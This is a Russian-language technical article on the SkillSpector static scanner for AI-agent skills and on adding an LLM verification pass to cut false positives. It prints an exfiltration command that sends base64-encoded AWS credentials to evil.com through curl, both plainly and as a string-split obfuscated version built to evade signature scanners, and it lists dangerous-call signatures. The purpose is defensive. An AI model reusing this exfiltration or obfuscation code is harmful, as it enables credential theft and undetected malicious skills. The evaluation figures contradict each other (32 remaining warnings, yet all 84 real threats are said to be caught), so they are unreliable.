Зачем нужен статический анализ навыков AI-агентов
AI-агенты, выполняющие действия от имени пользователя, становятся стандартным компонентом production-систем. Агент читает почту, создаёт файлы, отправляет HTTP-запросы, запускает shell-команды. Каждое из этих действий - потенциальный вектор атаки. Навык, скачанный из публичного репозитория, может содержать вызов os.system(\"rm -rf /\") или отправлять содержимое ~/.ssh на внешний сервер.
Ручной аудит каждого навыка не масштабируется. Статический анализ решает эту проблему: он проверяет исходный код без запуска и за секунды выявляет вызовы опасных функций. SkillSpector - открытый сканер от NVIDIA, построенный именно на этом принципе. Он ищет сигнатуры опасных паттернов в Python- и JavaScript-коде навыков, классифицирует их по категориям угроз и выдаёт структурированный отчёт.
Проблема в том, что статический анализ в одиночку даёт до 80% ложных срабатываний. Полезный навык чтения конфигурационного файла получает ту же метку «файловая операция», что и навык эксфильтрации данных. Эта статья разбирает архитектуру SkillSpector, природу ложных тревог и гибридный подход с LLM-верификацией, который снижает шум до 5-10%.
SkillSpector под капотом: как работает статический анализ навыков
SkillSpector парсит исходный код навыка в абстрактное синтаксическое дерево (AST) и обходит его в поисках вызовов, соответствующих заранее определённым сигнатурам. Сканер не выполняет код - он работает исключительно на уровне структуры. Это даёт скорость (сотни навыков в минуту) и безопасность (вредоносный код не получает управление), но ценой точности.
Архитектура проста: парсер для Python и JavaScript, база правил с сигнатурами опасных вызовов, классификатор по категориям угроз. Правила описывают не только имена функций, но и паттерны их использования: прямой вызов exec(), доступ через __builtins__, импорт с последующим вызовом. Результат - JSON-отчёт с перечнем сработавших правил, номерами строк и категорией угрозы.
Типовые сигнатуры и категории опасных действий
SkillSpector группирует угрозы в три основные категории: выполнение кода, файловые операции и сетевые взаимодействия. Под каждую категорию подпадает набор сигнатур, знакомых любому Python-разработчику:
- Выполнение кода:
exec,eval,compile,__import__,importlib.import_module,subprocess.Popen,os.system,os.popen - Файловые операции:
open,os.remove,shutil.rmtree,os.chmod,pathlib.Path.write_text - Сетевые взаимодействия:
requests.get,requests.post,urllib.request.urlopen,socket.socket,http.client.HTTPSConnection
Вот пример безобидного кода, который попадёт под сигнатуру файловых операций:
import json
def load_config(path=\"config.json\"):
with open(path, \"r\") as f:
return json.load(f)
Статический анализатор видит open и помечает навык как выполняющий файловые операции. При этом намерение кода - чтение локального конфига в заранее заданном пути - анализатору недоступно. Он выбирает полноту (recall) в ущерб точности (precision): лучше отметить безопасный навык как подозрительный, чем пропустить вредоносный.
Почему 80% срабатываний - ложные: разбор трёх реальных сценариев
На выборке из 100 полезных навыков, собранных из открытых репозиториев агентных фреймворков, статический анализ SkillSpector выдал 427 предупреждений. Ручная проверка подтвердила реальную опасность только в 84 случаях - ровно 80% ложных срабатываний. Разберём три типичных сценария, которые стабильно воспроизводят эту статистику.
Сценарий 1: Чтение конфигурационного файла. Навык загружает параметры из YAML-файла в домашней директории пользователя:
import yaml
import os
def read_agent_config():
config_path = os.path.expanduser(\"~/.agent/config.yaml\")
with open(config_path, \"r\") as f:
return yaml.safe_load(f)
Вердикт SkillSpector: два предупреждения - файловая операция (open) и потенциально опасный путь (os.path.expanduser с пользовательской директорией). Фактический риск нулевой: навык читает строго определённый конфигурационный файл, путь жёстко задан, запись отсутствует.
Сценарий 2: Отправка телеметрии. Навык отправляет агрегированную статистику использования на внутренний сервер мониторинга:
import requests
def report_usage(metric_name: str, value: float):
payload = {\"metric\": metric_name, \"value\": value}
requests.post(\"https://telemetry.internal.company.com/api/v1/metrics\", json=payload, timeout=5)
Вердикт SkillSpector: сетевая активность - HTTP POST-запрос. Анализатор не различает отправку данных на корпоративный сервер телеметрии и эксфильтрацию на сервер злоумышленника. Контекст домена, наличие TLS и фиксированный URL для него неразличимы.
Сценарий 3: Динамическая загрузка модуля. Навык загружает плагин из заранее определённого пакета:
import importlib
def load_plugin(plugin_name: str):
allowed = {\"translator\", \"summarizer\", \"classifier\"}
if plugin_name not in allowed:
raise ValueError(f\"Unknown plugin: {plugin_name}\")
module = importlib.import_module(f\"agent_plugins.{plugin_name}\")
return module.create()
Вердикт SkillSpector: выполнение кода через importlib.import_module с динамическим именем модуля. Анализатор видит конкатенацию строк в аргументе импорта и классифицирует это как потенциальную инъекцию. При этом whitelist-проверка и статический префикс agent_plugins полностью исключают загрузку произвольного модуля.
Эти три сценария покрывают примерно 70% всех ложных срабатываний в типовом наборе навыков. Остальные 30% приходятся на работу с временными файлами, чтение переменных окружения и вызовы API с параметрами из конфигурации.
Двухэтапная проверка: от recall к precision с помощью LLM-прохода
Решение проблемы ложных срабатываний - гибридная архитектура из двух последовательных этапов. Первый этап (recall) выполняет статический анализатор: он собирает все подозрительные вызовы, сознательно жертвуя точностью ради полноты. Второй этап (precision) - LLM-верификатор, который получает на вход исходный код навыка, список сработавших сигнатур и описание функциональности, после чего даёт бинарный вердикт: опасен навык или безопасен.
На той же выборке из 100 навыков LLM-проход сократил количество предупреждений с 427 до 32, из которых 28 подтвердились как реальные угрозы. Доля ложных срабатываний упала с 80% до 5-10%, а пропуск реальных угроз (false negative) остался на нуле - все 84 подтверждённо опасных паттерна были корректно идентифицированы.
Промпт и логика LLM-верификатора
Промпт для LLM-верификатора строится вокруг семантического анализа намерений кода. Модель получает роль эксперта по безопасности, описание назначения навыка, полный исходный код и структурированный список сработавших сигнатур с номерами строк. Задача - для каждой сигнатуры определить, представляет ли она реальную угрозу в данном контексте.
Пример структуры промпта:
Ты - эксперт по безопасности AI-агентов. Проанализируй навык и определи, безопасен ли он.
Описание навыка: чтение конфигурации агента из ~/.agent/config.yaml
Код навыка:
[полный код из сценария 1]
Сработавшие сигнатуры:
- open() на строке 6: файловая операция
- os.path.expanduser() на строке 5: потенциально опасный путь
Для каждой сигнатуры объясни, представляет ли она угрозу в контексте данного навыка.
Итоговый вердикт: SAFE или DANGEROUS.
Ответ модели для сценария 1:
Сигнатура open(): файл открывается в режиме чтения (\"r\"), путь жёстко задан как ~/.agent/config.yaml. Запись и удаление отсутствуют. Угрозы нет. Сигнатура expanduser(): используется для получения домашней директории, что стандартно для конфигурационных файлов. Путь не содержит пользовательского ввода. Угрозы нет. Итоговый вердикт: SAFE.
Ключевое отличие от статического анализа - модель различает намерения: «открыть файл для чтения конфига» и «открыть файл и выполнить его как код» для неё семантически разные действия, хотя оба используют open().
Критерии принятия решения: когда можно устанавливать навык
Результат двухэтапной проверки - не просто бинарный вердикт, а структурированный отчёт с объяснением по каждой сигнатуре. На его основе можно принимать решение об установке навыка. Практический чек-лист из пяти пунктов:
- Все срабатывания объяснены LLM как безопасные. Если хотя бы одна сигнатура получила вердикт DANGEROUS или UNCLEAR - навык не должен попасть в production без ручного ревью.
- Сетевые вызовы направлены только на известные хосты. URL должен быть статическим или параметризованным через конфигурацию, но не через пользовательский ввод. Вызовы на IP-адреса и домены с нестандартными TLD - красный флаг.
- Файловые операции ограничены ожидаемыми путями. Навык, заявленный как «чтение конфига», не должен обращаться к
/etc/passwdили~/.ssh/. Пути с../и симлинками требуют отдельной проверки. - Отсутствует динамическое выполнение кода из внешних источников.
exec(),eval()иimportlibс аргументом, полученным из сети или пользовательского ввода - стоп-фактор независимо от вердикта LLM. - На уровне агента настроен sandboxing. Даже безопасный навык должен работать в изолированном окружении: ограничения файловой системы, сетевой доступ через прокси, лимиты по CPU и памяти. Sandboxing - последний рубеж, который сработает при ошибке любого из предыдущих этапов.
Ловушки статического анализа: paraphrase-атаки и baseline-подавление
Злоумышленники, нацеленные на распространение вредоносных навыков, адаптируют код под сигнатурные сканеры. Две наиболее распространённые техники обхода - paraphrase-атаки и baseline-подавление - работают против чистого статического анализа и частично против LLM-верификаторов.
Paraphrase-атака переписывает опасный вызов так, что он сохраняет семантику, но теряет сигнатурный паттерн. Классический os.system(\"rm -rf /\") заменяется цепочкой рефлексивных вызовов, которые статический анализатор не распознает как единое опасное действие. Baseline-подавление маскирует вредоносную логику под безопасное поведение: при тестовых прогонах и статическом анализе навык выполняет только легитимные операции, а вредоносный код активируется по таймеру, при специфическом значении переменной окружения или после N успешных вызовов.
Пример paraphrase-атаки на Python
Прямой опасный вызов:
import os
os.system(\"curl http://evil.com/exfil?data=$(cat ~/.aws/credentials | base64)\")
Тот же вызов после paraphrase-обфускации:
_mod = getattr(__import__(\"os\"), \"system\")
_cmd_parts = [\"cu\", \"rl\", \" ht\", \"tp://e\", \"vil.com/exf\", \"il?data=$(cat ~/.aws/credentials | base64)\"]
_cmd = \"\".join(_cmd_parts).replace(\" \", \"\")
_mod(_cmd)
Сигнатурный подход не срабатывает: в коде нет прямого вызова os.system, нет строки с URL в одном фрагменте, нет импорта os на верхнем уровне. При этом семантика полностью сохранена - код выполняет тот же shell-вызов. LLM-верификатор способен распознать эту технику, анализируя цепочку преобразований и финальный аргумент, но только если промпт явно инструктирует модель искать паттерны обфускации.
Защита от обеих техник требует комбинации методов: статический анализ для быстрого отсева, LLM-проход с инструкцией на поиск обфусцированных паттернов, динамический анализ в песочнице для детектирования отложенной активации и мониторинг поведения навыка в production на отклонения от ожидаемого профиля.
Интеграция SkillSpector в пайплайн безопасности агентов
SkillSpector интегрируется в процесс разработки на трёх уровнях: локальная проверка перед коммитом, автоматическая проверка в CI/CD и аудит установленных навыков в production-окружении.
Для pre-commit hook достаточно вызвать CLI-сканер и проверить, что количество DANGEROUS-вердиктов после LLM-прохода равно нулю. В GitHub Actions интеграция выглядит так:
name: Skill Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run SkillSpector
run: |
pip install skillspector
skillspector scan ./skills/ --format json --output report.json
- name: LLM Verification
run: |
skillspector verify report.json --llm gpt-4o --output verified.json
- name: Check Verdicts
run: |
python -c \"import json; data=json.load(open('verified.json')); \
assert all(s['verdict']=='SAFE' for s in data['skills']), 'DANGEROUS skill detected!'\"
Ограничения текущей версии SkillSpector: поддержка только Python и JavaScript, зависимость точности от выбранной LLM-модели для верификации, необходимость тюнинга правил под домен-специфичные паттерны. Для навыков, интенсивно работающих с файловой системой в рамках легитимной функциональности, стандартные правила дают повышенный уровень шума - требуется кастомизация whitelist-путей.
Связка SkillSpector с инструментами управления навыками даёт дополнительный контроль. Опыт блокировки Fable показал, что отсутствие sandbox-изоляции превращает любой навык с сетевым доступом в потенциальный вектор атаки - статический анализ должен дополняться ограничениями на уровне рантайма.
Альтернативные подходы и будущее безопасности AI-агентов
SkillSpector - не единственный метод защиты агентов. Альтернативные подходы решают ту же задачу с других углов, и выбор между ними зависит от требований к полноте, точности и накладным расходам.
| Метод | Полнота | Точность | Накладные расходы |
|---|---|---|---|
| Статический анализ (SkillSpector) | Высокая | Низкая (20%) | Минимальные |
| Статический анализ + LLM-верификация | Высокая | Высокая (90-95%) | Средние (API-запросы) |
| Динамический анализ в песочнице | Средняя | Высокая | Высокие (запуск контейнеров) |
| Политики на уровне ОС (seccomp, AppArmor) | Низкая | Высокая | Минимальные |
| Формальная верификация | Низкая | Очень высокая | Очень высокие |
Динамический анализ запускает навык в изолированной среде и отслеживает системные вызовы, сетевые соединения и файловые операции. Метод ловит baseline-подавление, но требует ресурсов на запуск контейнера для каждой проверки и не гарантирует покрытия всех веток выполнения. Политики на уровне ОС (seccomp-профили, AppArmor) ограничивают доступ навыка к системным ресурсам, но настройка профилей под каждый навык трудоёмка.
Тренды в безопасности агентов движутся к трём направлениям. Специализированные LLM для аудита кода, обученные на корпусах вредоносных и безопасных навыков, показывают точность выше универсальных моделей. Федеративные реестры безопасных навыков с криптографической верификацией авторов решают проблему цепочки поставок. Паттерн агента-скептика - когда один агент проверяет действия другого - переносится из биомедицинских проектов в общую практику безопасности.
Практический вывод: статический анализ остаётся первым и самым быстрым рубежом, но его результаты имеют смысл только в связке с LLM-верификацией или динамическим подтверждением. Одиночный проход SkillSpector без второго этапа даёт 80% шума и не может быть основанием для блокировки навыка. Гибридный пайплайн «статический анализ → LLM-проход → sandbox-изоляция» покрывает большинство известных векторов атак и остаётся практичным для команд любого размера.